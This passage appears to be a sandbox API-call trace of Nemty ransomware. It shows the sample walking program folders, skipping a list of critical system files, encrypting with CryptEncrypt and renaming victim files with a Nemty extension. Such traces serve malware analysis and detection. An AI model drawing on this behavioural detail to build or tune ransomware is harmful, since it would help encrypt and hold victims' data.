Size=0x27100) returned 0x6346d48 [0056.097] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.097] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.106] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.106] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.106] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.106] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.116] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.116] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.116] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.116] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.125] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.125] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.125] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.126] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.135] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.135] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.135] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.135] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.144] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.145] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.145] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.145] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.154] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.154] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.154] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.154] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.171] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.171] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.171] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.172] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.181] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.181] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.181] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.181] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.190] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.190] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.191] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.191] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.200] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.200] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.200] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.200] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.223] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.223] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.223] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.223] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.229] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.229] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.230] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.230] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0056.230] CloseHandle (hObject=0xffffffff) returned 0 [0056.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0056.230] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0056.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0056.230] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0056.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0056.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0056.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6344090 [0056.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344138 [0056.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0056.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0056.230] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-image-mask.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-image-mask.png._nemty_kgobjgd_")) returned 0 [0056.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344138 | out: hHeap=0x4f90000) returned 1 [0056.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0056.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0056.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0056.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d8 | out: hHeap=0x4f90000) returned 1 [0056.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0056.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0056.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0056.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0056.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0056.230] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72832ab8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72832ab8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4c15, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="babypink.png", cAlternateFileName="")) returned 1 [0056.230] lstrcmpiW (lpString1="babypink.png", lpString2=".") returned 1 [0056.231] lstrcmpiW (lpString1="babypink.png", lpString2="..") returned 1 [0056.231] lstrcmpiW (lpString1="babypink.png", lpString2="...") returned 1 [0056.231] lstrcmpiW (lpString1="babypink.png", lpString2="windows") returned -1 [0056.231] lstrcmpiW (lpString1="babypink.png", lpString2="$RECYCLE.BIN") returned 1 [0056.231] lstrcmpiW (lpString1="babypink.png", lpString2="rsa") returned -1 [0056.231] lstrcmpiW (lpString1="babypink.png", lpString2="NTDETECT.COM") returned -1 [0056.231] lstrcmpiW (lpString1="babypink.png", lpString2="ntldr") returned -1 [0056.231] lstrcmpiW (lpString1="babypink.png", lpString2="MSDOS.SYS") returned -1 [0056.231] lstrcmpiW (lpString1="babypink.png", lpString2="IO.SYS") returned -1 [0056.231] lstrcmpiW (lpString1="babypink.png", lpString2="boot.ini") returned -1 [0056.231] lstrcmpiW (lpString1="babypink.png", lpString2="boot.ini") returned -1 [0056.231] lstrcmpiW (lpString1="babypink.png", lpString2="AUTOEXEC.BAT") returned 1 [0056.231] lstrcmpiW (lpString1="babypink.png", lpString2="ntuser.dat") returned -1 [0056.231] lstrcmpiW (lpString1="babypink.png", lpString2="desktop.ini") returned -1 [0056.231] lstrcmpiW (lpString1="babypink.png", lpString2="CONFIG.SYS") returned -1 [0056.231] lstrcmpiW (lpString1="babypink.png", lpString2="RECYCLER") returned -1 [0056.231] lstrcmpiW (lpString1="babypink.png", lpString2="BOOTSECT.BAK") returned -1 [0056.231] lstrcmpiW (lpString1="babypink.png", lpString2="bootmgr") returned -1 [0056.231] lstrcmpiW (lpString1="babypink.png", lpString2="programdata") returned -1 [0056.231] lstrcmpiW (lpString1="babypink.png", lpString2="appdata") returned 1 [0056.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0056.231] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="babypink.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0056.231] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="babypink.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="babypink.png", lpUsedDefaultChar=0x0) returned 12 [0056.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0056.231] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="babypink.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0056.231] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="babypink.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="babypink.png", lpUsedDefaultChar=0x0) returned 12 [0056.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0056.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0056.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0056.231] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="babypink.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0056.231] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="babypink.png", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="babypink.png", lpUsedDefaultChar=0x0) returned 12 [0056.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0056.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0056.231] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="babypink.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0056.231] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="babypink.png", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="babypink.png", lpUsedDefaultChar=0x0) returned 12 [0056.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0056.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f94328 [0056.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0056.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6340048 [0056.232] Sleep (dwMilliseconds=0x5) [0056.258] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd52ce2f0, dwHighDateTime=0x1d561e7)) [0056.258] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd52ce2f0, dwHighDateTime=0x1d561e7)) [0056.258] GetLastError () returned 0x5 [0056.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0056.258] GetLastError () returned 0x5 [0056.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0056.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0056.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0056.258] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0056.258] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0056.259] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0056.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400e0 [0056.259] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400e0, pcchString=0x653e91c | out: pszString="7bO0qLUdc8byYh3R92oOxab0dP/lbg1hS2CwdN5dd+m/axepc4YbndpLdFh09PW+\r\ntold1I1j+xjcAE3pWFhh9XHrPZVFeajW5zL4trBiV/IHRYFR4eEuDcAdbyt829Qy\r\nv5oCVIFQqEPiPKJ+tIdnG/KFMMMmbBoWMyTVDfpkWr6MaRcEyidRj4aDKrxRerxO\r\njNbpfE2gSMZngfk9oul7RhvLCessm/+8OJNI249h9wQaDxin2c3s15wGK33qbNmE\r\noKR3fKZgZjw1pdO+Q1e716hmqQ7Xn1Z2wM4OLn797QXHUb3Ylgn5hN6FisCiaEhb\r\nHGb4Cugi4Eg5DYaEcpuIxg==\r\n", pcchString=0x653e91c) returned 1 [0056.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340250 [0056.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400e0 | out: hHeap=0x4f90000) returned 1 [0056.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0056.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0056.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400e0 [0056.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63403c8 [0056.259] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\babypink.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0056.259] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0056.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0056.259] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.259] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.269] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.269] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.269] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.269] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.278] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.278] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.278] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.278] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.290] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.290] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.291] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.291] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.300] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.300] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) 